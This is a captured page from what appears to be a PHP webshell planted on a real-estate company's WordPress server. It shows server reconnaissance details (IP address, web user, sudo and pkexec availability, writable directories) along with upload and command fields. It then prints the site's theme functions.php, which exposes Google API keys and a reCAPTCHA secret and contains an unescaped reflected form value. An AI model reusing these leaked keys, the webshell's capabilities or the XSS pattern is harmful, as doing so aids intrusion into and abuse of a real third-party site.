403Webshell
Server IP : 69.164.203.165  /  Your IP : 216.73.216.219
Web Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/matlock/wp-content/themes/lmg_custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/matlock/wp-content/themes/lmg_custom/functions.php
<?php
//* Start the engine
require_once( get_template_directory() . '/lib/init.php' );

//* Child theme (do not remove)
define( 'CHILD_THEME_NAME', 'LMG Custom Theme', 'lmg' );
define( 'CHILD_THEME_URL', 'http://appfinite.com/themes/lmg' );

add_action( 'wp_enqueue_scripts', 'lmg_enqueue_scripts_styles' );
function lmg_enqueue_scripts_styles() {
	//wp_enqueue_script( 'modernizr', '//cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.3/modernizr.js', array( 'jquery' ), '2.8.3', true );
	wp_enqueue_script( 'jqcookie', get_bloginfo( 'stylesheet_directory' ) . '/js/js.cookie.js', array( 'jquery' ), '1.0.0', true );
	wp_enqueue_script( 'ofi', '//cdnjs.cloudflare.com/ajax/libs/object-fit-images/3.2.3/ofi.min.js', array('jquery'), '3.2.3', true );
	wp_enqueue_script( 'ionrange', 'https://cdnjs.cloudflare.com/ajax/libs/ion-rangeslider/2.3.1/js/ion.rangeSlider.min.js', array('jquery'), '3.2.3', true );
	wp_enqueue_script( 'theme', get_bloginfo( 'stylesheet_directory' ) . '/js/theme.js', array( 'jquery', 'ofi' ), '1.0.1', true );
	wp_enqueue_style( 'mls-css', get_bloginfo( 'stylesheet_directory' ) . '/mls.css', array(), '1.0.0' );
	wp_enqueue_style( 'ion-icons', '//code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css', array(), '2.0.1' );
	wp_enqueue_style( 'ionrangecss', 'https://cdnjs.cloudflare.com/ajax/libs/ion-rangeslider/2.3.1/css/ion.rangeSlider.min.css', array(), '2.0.1' );
	wp_enqueue_style( 'google-font-lato', '//fonts.googleapis.com/css?family=Amiri:400,400i,700,700i|Raleway:300,400,400i,700,700i', array(), '1.0.0', true );
	wp_enqueue_style( 'animate', '//cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css', array(), '1.0.0' );
	wp_enqueue_script( 'owlcarouseljs', get_bloginfo( 'stylesheet_directory' ) . '/owl/owl.carousel.js', array( 'jquery' ), '1.0.0', true );
	wp_enqueue_style( 'owlcarouselcss', get_bloginfo( 'stylesheet_directory' ) . '/owl/owl.carousel.min.css',  array(), '1.0.0' );
	wp_enqueue_style( 'owlcarouseltheme', get_bloginfo( 'stylesheet_directory' ) . '/owl/owl.theme.default.min.css',  array(), '1.0.0' );
	wp_enqueue_script( 'gmaps-local', get_bloginfo( 'stylesheet_directory' ) . '/js/gmaps.js', array( 'jquery' ), '1.0.0' );
	wp_enqueue_style('fontawesome', '//s3-us-west-2.amazonaws.com/primeagentmarketing/library/lmg-fa/5.7.1/css/all.min.css', array(), '5.7.1' );
	//if (is_admin()) {
	//	wp_enqueue_script('gmaps', '//maps.googleapis.com/maps/api/js?key=AIzaSyCjXgmOG30KWZ8Is93yhTyCKb3YOqlsg9E', array('jquery'), '1.0.0');
	//}
}

//function lmg_acf_initi() {
//  acf_update_setting('google_api_key', 'AIzaSyCjXgmOG30KWZ8Is93yhTyCKb3YOqlsg9E');
//}
//add_action('acf/init', 'lmg_acf_init');

add_filter('acf/settings/google_api_key', function() {
  return 'AIzaSyD_soj73BuB9BhcRafjn5I-OLhtntD_i5c';
});

//* Add Image upload to WordPress Theme Customizer
add_action( 'customize_register', 'lmg_customizer' );
function lmg_customizer(){
	require_once( get_stylesheet_directory() . '/lib/customize.php' );
}

//* Include Section Image CSS
include_once( get_stylesheet_directory() . '/lib/output.php' );

//* Add HTML5 markup structure
add_theme_support( 'html5' );

//* Add viewport meta tag for mobile browsers
add_theme_support( 'genesis-responsive-viewport' );

//* Add support for custom background
add_theme_support( 'custom-background' );

//* Add support for custom header
add_theme_support( 'custom-header', array(
	'width'           => 216,
	'height'          => 130,
	'header-selector' => '.site-title a',
	'header-text'     => false,
) );

// Add new image sizes
add_image_size( 'featured-img', 730, 420, TRUE );
add_image_size( 'featured-page', 341, 173, TRUE );
add_image_size( 'portfolio-thumbnail', 264, 200, TRUE );

//* Add support for structural wraps
add_theme_support( 'genesis-structural-wraps', array(
	'header',
	'nav',
	'subnav',
	'inner',
	'footer-widgets',
	'footer',
) );

// Reposition the Secondary Navigation
remove_action( 'genesis_after_header', 'genesis_do_subnav' ) ;
add_action( 'genesis_before_header', 'genesis_do_subnav' );

// Before Header Wrap
add_action( 'genesis_before_header', 'before_header_wrap' );
function before_header_wrap() {
	echo '<div class="head-wrap">';
}

// Reposition the Primary Navigation
remove_action( 'genesis_after_header', 'genesis_do_nav' ) ;
add_action( 'genesis_after_header', 'genesis_do_nav' );

// After Header Wrap
add_action( 'genesis_after_header', 'after_header_wrap' );
function after_header_wrap() {
	echo '</div>';
}
remove_action('genesis_header', 'genesis_do_header');
add_action('genesis_header', 'genesis_new_header');

function genesis_new_header(){

		global $wp_registered_sidebars;

		genesis_markup( array(
			'html5'   => '<div class="large-5 medium-4 columns title-area">',
			'xhtml'   => '<div id="title-area" class="large-5 medium-4 columns">',
			'context' => 'title-area',
		) );
		if(get_header_image()){
			?><a href="/"><img src="<?php echo get_header_image(); ?>" alt="" /></a><?php
		} else {
			do_action( 'genesis_site_title' );
			do_action( 'genesis_site_description' );
		}
		echo '</div>';

			genesis_markup( array(
				'html5'   => '<div class="large-7 medium-8 columns header-widget-area">' . genesis_sidebar_title( 'header-right' ),
				'xhtml'   => '<div class="widget-area header-widget-area large-7 medium-8 columns">',
				'context' => 'header-widget-area',
			) );

				do_action( 'genesis_header_right' );
				add_filter( 'wp_nav_menu_args', 'genesis_header_menu_args' );
				add_filter( 'wp_nav_menu', 'genesis_header_menu_wrap' );
				dynamic_sidebar( 'header-right' );
				remove_filter( 'wp_nav_menu_args', 'genesis_header_menu_args' );
				remove_filter( 'wp_nav_menu', 'genesis_header_menu_wrap' );

			if ( ( isset( $wp_registered_sidebars['header-right'] ) && is_active_sidebar( 'header-right' ) ) || has_action( 'genesis_header_right' ) ) {
			}
			echo '</div>';
}

remove_action( 'genesis_site_title', 'genesis_seo_site_title' );
add_action('genesis_site_title', 'genesis_custom_title');

function genesis_custom_title() {

	$child_inside = sprintf( '<p class="site-title"><a href="%s" title="%s">%s</a></p>', trailingslashit( $home_url ), esc_attr( get_bloginfo( 'name' ) ), esc_attr( get_bloginfo( 'name' ) ) );

	echo $child_inside;

}

/***function lil_form(){
	?>
		<div class="lil-form">
	<?php
	 echo do_shortcode('[widget id="text-10"]')
	?>
		</div>
	<?php
}
add_action('genesis_after_footer', 'lil_form');***/

// Customize search form input box text
add_filter( 'genesis_search_text', 'custom_search_text' );
function custom_search_text($text) {
    return esc_attr( 'Search...' );
}

add_action( 'admin_menu', 'lmg_theme_settings_init', 15 );
/**
 * This is a necessary go-between to get our scripts and boxes loaded
 * on the theme settings page only, and not the rest of the admin
 */
function lmg_theme_settings_init() {
    global $_genesis_admin_settings;

    add_action( 'load-' . $_genesis_admin_settings->pagehook, 'lmg_add_portfolio_settings_box', 20 );
}

// Add Portfolio Settings box to Genesis Theme Settings
function lmg_add_portfolio_settings_box() {
    global $_genesis_admin_settings;

    add_meta_box( 'genesis-theme-settings-lmg-portfolio', __( 'Portfolio Page Settings', 'lmg' ), 'lmg_theme_settings_portfolio',     $_genesis_admin_settings->pagehook, 'main' );
}


//* Force full-width-content layout
add_filter( 'genesis_pre_get_option_site_layout', '__genesis_return_full_width_content' );

//* Add support for 3-column footer widgets
add_theme_support( 'genesis-footer-widgets', 3 );
function mobile_menu(){
	?>
	<div class="mobile-menu-icon">
    <i class="ion-navicon"></i>
	</div> <?php
	genesis_widget_area('mobile-menu', array(
		'before' => '<div class="mobile-menu">',
		'after' =>	'</div>',
	) );

}
add_action('genesis_before_header', 'mobile_menu');

function top_bar_section(){
	genesis_widget_area( 'top-bar', array(
		'before' => '<div class="top-bar"><div class="wrap">',
		'after' => '</div></div>',
	) );
}
add_shortcode('signup_form', 'signup_form_sc');
function signup_form_sc(){
	if (isset($_REQUEST['Field1']) && !empty($_REQUEST['Field1']) && isset($_REQUEST['g-recaptcha-response'])) {
  	$verified = lmg_recaptcha_verify($_GET['g-recaptcha-response'], '6LfyBo4UAAAAAPGCAXA9Okm06Ces6XDBbHzsHfbE');
  	if ($verified->success == 'true') {
    	wp_mail('erin@pammatlock.com', 'Sign Up Step 1 Submitted', 'Email: ' . $_REQUEST['Field1'], array('Bcc: martin@wearelmg.com') );
  	}
  }
  ob_start();
   ?>
   <div class="sign-up-container">
   <p>Thank You, would you like to tell us more about what you're looking for?</p>
   <form id="form847" name="form847" accept-charset="UTF-8" autocomplete="off" enctype="multipart/form-data" method="post" 
         action="/wp-admin/admin-ajax.php">
   <?php $email = isset($_REQUEST['Field1']) && !empty($_REQUEST['Field1']) ? $_REQUEST['Field1'] : '';
   ?>
      <p><input name="Field1" id="Field1" type="email" required <?php echo $email ? 'value="' .$email : '' ?>" placeholder="Email Address" /></p>
      <p><input name="Field3" id="Field3" type="text" placeholder="Square Feet" required /></p>
      <p><input name="Field4" id="Field4" type="text" placeholder="Bed(s)" required /></p>
      <p><input name="Field5" id="Field5" type="text" placeholder="Bath(s)" required /></p>
      <p><input name="Field6" id="Field6" type="text" placeholder="Garage" /></p>
      <p><input name="Field8" id="Field8" type="text" placeholder="Price Range" required /></p>
      <p><input name="Field7" id="Field7" type="text" placeholder="Acreage" /></p>
      <p><textarea id="Field9" name="Field9" placeholder="Additonal Notes"></textarea></p>
      <div class="g-recaptcha" data-sitekey="6LdeB44UAAAAAMLO-EBLuLXHh8sA6odGMixWKL51"></div>
      <p><input id="saveForm" name="saveForm" class="btTxt submit" type="submit" value="Submit" /></p>
      <li class="hide">
        <label for="comment">Do Not Fill This Out</label>
          <textarea name="comment" id="comment" rows="1" cols="1"></textarea>
          <input type="hidden" id="idstamp" name="idstamp" value="DBqJm+5c5xQ8VXJ/L9mxSvHbapUBvLAy+ghS5o0sar4=" />
      </li>
   </form>
   </div>
   <?php
   return;
  ob_get_clean();
}

add_action('genesis_after', 'formPopup');
function formPopup(){
	?>
	<div class="popup-container" data-popup="sellWithUsPopUp">
    <a class="lmg-fal lmg-fa-times close-popup"></a>
		<div class="row contact-form-container text-center">
			<div class="large-12 columns">
				<h2 style="text-transform: none; font-weight: bold;">Let's Connect</h2>
				<div class="row contact-form">
				<form
  id="form864"
  name="form864"
  class="wufoo topLabel page"
  accept-charset="UTF-8"
  autocomplete="off"
  enctype="multipart/form-data"
  method="post"
  novalidate
      action="https://lawtonmg.wufoo.com/forms/x9jett21fuz4tj/#public"
  >
						<div class="large-6 columns">
							<label class="show-for-sr" for="cfname">First Name</label>
							<input type="text" id="cfname" name="Field3" placeholder="First Name" required="">
						</div>
						<div class="large-6 columns">
							<label class="show-for-sr" for="clname">Last name</label>
							<input type="text" id="clname" name="Field4" placeholder="Last Name" required="">
						</div>
						<div class="large-6 columns">
							<label class="show-for-sr" for="cphone">Phone</label>
							<input type="tel" id="cphone" name="Field6" placeholder="Phone xxx-xxx-xxxx" required="" pattern="^\d{3}-\d{3}-\d{4}$">
						</div>
						<div class="large-6 columns">
							<label class="show-for-sr" for="cemail">Email</label>
							<input type="email" id="cemail" name="Field7" placeholder="Email" required="" pattern="^([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x22([^\x0d\x22\x5c\x80-\xff]|\x5c[\x00-\x7f])*\x22)(\x2e([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x22([^\x0d\x22\x5c\x80-\xff]|\x5c[\x00-\x7f])*\x22))*\x40([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x5b([^\x0d\x5b-\x5d\x80-\xff]|\x5c[\x00-\x7f])*\x5d)(\x2e([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x5b([^\x0d\x5b-\x5d\x80-\xff]|\x5c[\x00-\x7f])*\x5d))*(\.\w{2,})+$">
						</div>
						<div class="large-12 columns">
							<label class="show-for-sr" for="cmessage">Your message for us</label>
							<textarea name="Field8" id="cmessage" placeholder="Your message for us" required=""></textarea>
						</div>
						<div class="large-12 columns">
							<ul class="contact-list-form">
								<li><label><input id="Field10" name="Field10" type="checkbox" class="field checkbox" value="Email" tabindex="0" /> Email</label></li>
								<li><label><input id="Field11" name="Field11" type="checkbox" class="field checkbox" value="Text" tabindex="0"/> Text</label></li>
								<li><label><input id="Field12" name="Field12" type="checkbox" class="field checkbox" value="Call" tabindex="0" /> Call</label></li>
							</ul>
						</div>
						<li class="hide">
<label for="comment">Do Not Fill This Out</label>
<textarea name="comment" id="comment" rows="1" cols="1"></textarea>
<input type="hidden" id="idstamp" name="idstamp" value="3nd22DGJF+8QXvqF3s7AlC10oBEO/ykRrldzEkKpydg=" />
<input type="hidden" id="encryptedPassword" name="encryptedPassword" value="" />
</li>
						<div class="large-12 columns">
							<p><input type="submit" name="saveForm" value="Send Form"></p>
						</div>
					</form>
				</div>
			</div>
		</div>
	</div>
  <div class="sellwithus-cast"></div>
	<?php
} 

// Register widget areas
genesis_register_sidebar( array(
	'id'			=> 'mobile-menu',
	'name'			=> __( 'Mobile Menu', 'lmg' ),
	'description'	=> __( 'This is the mobile menu of the website.', 'lmg' ),
) );
genesis_register_sidebar( array(
	'id'			=> 'top-bar',
	'name'			=> __( 'Top Bar', 'lmg' ),
	'description'	=> __( 'This is the top bar of the website.', 'lmg' ),
) );

genesis_register_sidebar( array(
	'id'			=> 'hero-image',
	'name'			=> __( 'Hero Image', 'lmg' ),
	'description'	=> __( 'This is the hero image section of the homepage.', 'lmg' ),
) );

genesis_register_sidebar( array(
	'id'			=> 'tier-1',
	'name'			=> __( 'Tier 1', 'lmg' ),
	'description'	=> __( 'This is the first tier of the website.', 'lmg' ),
	'before_title' => '<h2>',
	'after_title' => '</h2>'
) );

genesis_register_sidebar( array(
	'id'			=> 'tier-2',
	'name'			=> __( 'Tier 2', 'lmg' ),
	'description'	=> __( 'This is the second tier of the website.', 'lmg' ),
	'before_title' => '<h2>',
	'after_title' => '</h2>'
) );

genesis_register_sidebar( array(
	'id'			=> 'tier-4',
	'name'			=> __( 'Tier 4', 'lmg' ),
	'description'		=> __( 'This is the fourth tier of the website.', 'lmg' ),
	'before_title'		=> '<h2>',
	'after_title'		=> '</h2>',
) );

genesis_register_sidebar( array(
	'id'			=> 'tier-3',
	'name'			=> __( 'Tier 3', 'lmg' ),
	'description'	=> __( 'This is the third tier of the website.', 'lmg' ),
	'before_title' => '<h2>',
	'after_title' => '</h2>'
) );



// //add_filter('posts_join', 'lmg_search_join');
// function lmg_search_join( $join ) {
//   global $wpdb;
//   if ( is_search() ) {
//     //$join .= ' LEFT JOIN ' . $wpdb->postmeta . ' ON ' . $wpdb->posts . '.ID = ' . $wpdb->postmeta . '.post_id ';
//   }
//   //error_log('join: '.$join);
//   return $join;
// }

// //add_filter('posts_where', 'lmg_search_where');
// function lmg_search_where( $where ) {
//   global $pagenow, $wpdb;
//   if ( is_search() ) {
//     $where = preg_replace("/\(\s*".$wpdb->posts.".post_title\s+LIKE\s*(\'[^\']+\')\s*\)/", "(".$wpdb->posts.".post_title LIKE $1) OR (".$wpdb->postmeta.".meta_value LIKE $1)", $where );
//   }
//   //error_log($where);
//   return $where;
// }

// //add_filter('posts_distinct', 'lmg_search_distinct');
// function lmg_search_distinct( $where ) {
//   global $wpdb;
//   if ( is_search() ) {
//     return "DISTINCT";
//   }
//   //error_log($where);
// //   return $where;
// }


add_filter( 'widget_text', 'do_shortcode' );

add_action('wp_footer', function() {
  ?>
  <script>
    jQuery(document).ready(function($) {
      if (window.location.hash === '#sellWithUs') {
        $('body').css('overflow', 'hidden');
        $('.sellwithus-cast').addClass('active');
        $('[data-popup="sellWithUsPopUp"]').addClass('active');
      }
    });
  </script>
  <?php
});

Youez - 2016 - github.com/yon3zu
LinuXploit